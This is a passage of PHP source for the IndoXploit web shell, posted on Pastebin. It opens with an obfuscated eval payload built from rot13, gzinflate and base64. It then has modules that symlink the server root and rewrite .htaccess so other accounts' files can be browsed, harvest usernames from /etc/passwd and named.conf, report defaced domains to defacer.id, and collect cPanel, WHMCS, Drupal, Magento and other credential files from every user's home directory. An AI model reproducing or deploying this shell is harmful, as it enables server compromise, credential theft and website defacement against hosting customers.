  670. {eval(str_rot13(gzinflate(str_rot13(base64_decode(("tUl7YtpVEP87VXyHiZMr0BLsPJqqgJ14QyBquuNrXEUlEExeeL2E5hZ7wS5pmu9+s7ZWgDM5RCmWJXt0f7Pz3JnJ52lphOsTQ+odbjFOjaGl1CCfWIlGTyPgLguIpQ+VoQKRYD7x8N8mDhsqC/iZRJ9DoxtDqNYDyx4xYA+20BUmvjEF7mw4wlL9WZ8J5o69b6lpcyhg8Qipju+aXkAVo35z+/az5KVGhoozmlEBilhLltbJyVCl6WULvpDx7kNE11lDpQ14NJsKY9hQKEyligc8DHNJFU8xcrXUKgRGV6hWhVooC6xMRCshRH2fz31OLQCfKtyQGVyNpOOg+DflE+hSPAhY+VyXsxRlZ6p3x+qRaWsK2sfqx3B13OZmN4E1QrZ9xuyqqkG5KyaEzCsuidTJdfbJEWEGzOYOE5PAim4j1fEJ/eSOSz7XHm5cqFE2n3bv1XwO4jeYFvfNxmyzNSgkrivclR7zuenIilALjFRpEM65SNzHY2A0nGubQ8Fdv+igZpH2sgfcAblAO6Vpj8lUPkUQYezqhVcB3r2DxaJFKL2AlvDykRjQbmRtpXt90eu0zi/+MJu9U/uijb8VuUxbclBEsBs45k+zkpS3K6iYBVLFaBylnOgI0hRL5Y3FQXRZfmiYBqEwMTNal2AkLeYk59Uya4KEVgfxLZhvd2PP9Djjmxm+i3WCbKyD0jm/ely2bV0lC8ZrMI/PSC4dTjskikOPWSQKiiRBlYk2KBQLancWQQZPKjtVNbgbxDLisK9w5ZNcjAFea4uBWE9P9T1a6/e7mtFxb8YtIi+SxYw7S8EcHX4+7R8bVxyhipKCcTHI0urpvyS8ijMz4sz1Wh6GxcLeoH3wp2nwmR/8RjF/+WNj9+FKVsElEitlvUooy9iV913ikmym133XiZ2pQbgjQUJZQrjEE5mO2peRjLGrIc0EvygbVDwqA/c8J+SOLzB2Q6kSJp0MzIZnS+ZUHcuQxS8P5vT/2KW2meKRHbey2DEnkutEuHe1GtDBZRMI6HD2F8rxaCjBjx+QTxpKDfidRgsLX/VsOyt7Mm/6IohStil49uKEetKv3+73D0KMWDsk3BP0jfIvrUvo8YG21e3o94+7mnP8FXTYGyqXptOW2vVBNe2kdNwiZh+r/Ns6D/N6WPV+vrTAT8slKBWe8WvLrREPoeMLav70RqakveP7ZuvYcdErllZIvvJ77rg0sNlJhj1PnYNCxUdCm/1rPK6MLByKKpbARIhG7ES6OQm5NTdvM7826yo34HbLiMVo85WApX0fXpBkw5+LB9CNtD7hkLPex0rFQBHbKs5S5j2nxQVCGfrXN63ehflb++a622H1zN56+/qm9OpMGzw9o09LDyIMydh1CsuTqb6lvxOKR6yiefbiK97cQF4lre4/idARGdaujmDr5XvpxPQXP/guZC3mu3GcxgGvFiMWRjD2jvXBa3biz+dp/gU="))))));}
  671. elseif($_GET['do'] == 'metu') {
  672.  
  673.  
  674. echo '<form action="?dir=$dir&do=metu" method="post">';
  675. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  676. echo 'Byee !';
  677.  
  678. }
  679. elseif($_GET['do'] == 'about') {
  680.  
  681. echo '<center>--00-- Shell<hr>IndoXploit Shell Recoded By --00--<br>For More Script Visit <a href="http://cr1p.blogspot.com/">Here</a>';
  682.  
  683. }
  684. elseif($_GET['do'] == 'symlink') {
  685. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  686. $d0mains = @file("/etc/named.conf");
  687. ##httaces
  688. if($d0mains){
  689. @mkdir("cox_sym",0777);
  690. @chdir("cox_sym");
  691. @exe("ln -s / root");
  692. $file3 = 'Options Indexes FollowSymLinks
  693. DirectoryIndex --00--.htm
  694. AddType text/plain .php
  695. AddHandler text/plain .php
  696. Satisfy Any';
  697. $fp3 = fopen('.htaccess','w');
  698. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  699. echo "
  700. <table align=center border=1 style='width:60%;border-color:#333333;'>
  701. <tr>
  702. <td align=center><font size=2>S. No.</font></td>
  703. <td align=center><font size=2>Domains</font></td>
  704. <td align=center><font size=2>Users</font></td>
  705. <td align=center><font size=2>Symlink</font></td>
  706. </tr>";
  707. $dcount = 1;
  708. foreach($d0mains as $d0main){
  709. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  710. flush();
  711. if(strlen(trim($domains[1][0])) > 2){
  712. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  713. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  714. <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
  715. <td>".$user['name']."</td>
  716. <td><a href='$full/cox_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
  717. flush();
  718. $dcount++;}}}
  719. echo "</table>";
  720. }else{
  721. $TEST=@file('/etc/passwd');
  722. if ($TEST){
  723. @mkdir("cox_sym",0777);
  724. @chdir("cox_sym");
  725. exe("ln -s / root");
  726. $file3 = 'Options Indexes FollowSymLinks
  727. DirectoryIndex --00--.htm
  728. AddType text/plain .php
  729. AddHandler text/plain .php
  730. Satisfy Any';
  731. $fp3 = fopen('.htaccess','w');
  732. $fw3 = fwrite($fp3,$file3);
  733. @fclose($fp3);
  734. echo "
  735. <table align=center border=1><tr>
  736. <td align=center><font size=3>S. No.</font></td>
  737. <td align=center><font size=3>Users</font></td>
  738. <td align=center><font size=3>Symlink</font></td></tr>";
  739. $dcount = 1;
  740. $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  741. while(!feof($file)){
  742. $s = fgets($file);
  743. $matches = array();
  744. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  745. $matches = str_replace("home/","",$matches[1]);
  746. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  747. continue;
  748. echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  749. <td align=center><font class=txt>" . $matches . "</td>";
  750. echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  751. $dcount++;}fclose($file);
  752. echo "</table>";}else{if($os != "Windows"){@mkdir("cox_sym",0777);@chdir("cox_sym");@exe("ln -s / root");$file3 = '
  753. Options Indexes FollowSymLinks
  754. DirectoryIndex --00--.htm
  755. AddType text/plain .php
  756. AddHandler text/plain .php
  757. Satisfy Any
  758. ';
  759. $fp3 = fopen('.htaccess','w');
  760. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  761. echo "
  762. <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
  763. <table align=center border=1><tr>
  764. <td align=center><font size=3>ID</font></td>
  765. <td align=center><font size=3>Users</font></td>
  766. <td align=center><font size=3>Symlink</font></td></tr>";
  767. $temp = "";$val1 = 0;$val2 = 1000;
  768. for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  769. if ($uid)$temp .= join(':',$uid)."\n";}
  770. echo '<br/>';$temp = trim($temp);$file5 =
  771. fopen("test.txt","w");
  772. fputs($file5,$temp);
  773. fclose($file5);$dcount = 1;$file =
  774. fopen("test.txt", "r") or exit("Unable to open file!");
  775. while(!feof($file)){$s = fgets($file);$matches = array();
  776. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
  777. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  778. continue;
  779. echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  780. <td align=center><font class=txt>" . $matches . "</td>";
  781. echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  782. $dcount++;}
  783. fclose($file);
  784. echo "</table></div></center>";unlink("test.txt");
  785. } else
  786. echo "<center><font size=3>Cannot create Symlink</font></center>";
  787. }
  788. }
  789. }
  790. elseif($_GET['do'] == 'defacerid') {
  791. echo "<center><form method='post'>
  792. <u>Defacer</u>: <br>
  793. <input type='text' name='hekel' size='50' value='--00--'><br>
  794. <u>Team</u>: <br>
  795. <input type='text' name='tim' size='50' value='Indonesian Code Party'><br>
  796. <u>Domains</u>: <br>
  797. <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
  798. <input type='submit' name='go' value='Submit' style='width: 450px;'>
  799. </form>";
  800. $site = explode("\r\n", $_POST['sites']);
  801. $go = $_POST['go'];
  802. $hekel = $_POST['hekel'];
  803. $tim = $_POST['tim'];
  804. if($go) {
  805. foreach($site as $sites) {
  806. $zh = $sites;
  807. $form_url = "https://www.defacer.id/notify";
  808. $data_to_post = array();
  809. $data_to_post['attacker'] = "$hekel";
  810. $data_to_post['team'] = "$tim";
  811. $data_to_post['poc'] = 'SQL Injection';
  812. $data_to_post['url'] = "$zh";
  813. $curl = curl_init();
  814. curl_setopt($curl,CURLOPT_URL, $form_url);
  815. curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
  816. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
  817. curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
  818. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  819. curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
  820. $result = curl_exec($curl);
  821. echo $result;
  822. curl_close($curl);
  823. echo "<br>";
  824. }
  825. }
  826. }
  827.  
  828. elseif($_GET['do'] == 'config') {
  829. if($_POST){
  830. $passwd = $_POST['passwd'];
  831. mkdir("cox_config", 0777);
  832. $isi_htc = "Options all\nRequire None\nSatisfy Any";
  833. $htc = fopen("cox_config/.htaccess","w");
  834. fwrite($htc, $isi_htc);
  835. preg_match_all('/(.*?):x:/', $passwd, $user_config);
  836. foreach($user_config[1] as $user_cox) {
  837. $user_config_dir = "/home/$user_cox/public_html/";
  838. if(is_readable($user_config_dir)) {
  839. $grab_config = array(
  840. "/home/$user_cox/.my.cnf" => "cpanel",
  841. "/home/$user_cox/.accesshash" => "WHM-accesshash",
  842. "/home/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  843. "/home/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  844. "/home/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  845. "/home/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  846. "/home/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  847. "/home/$user_cox/public_html/forum/config.php" => "phpBB",
  848. "/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  849. "/home/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  850. "/home/$user_cox/public_html/app/etc/local.xml" => "Magento",
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!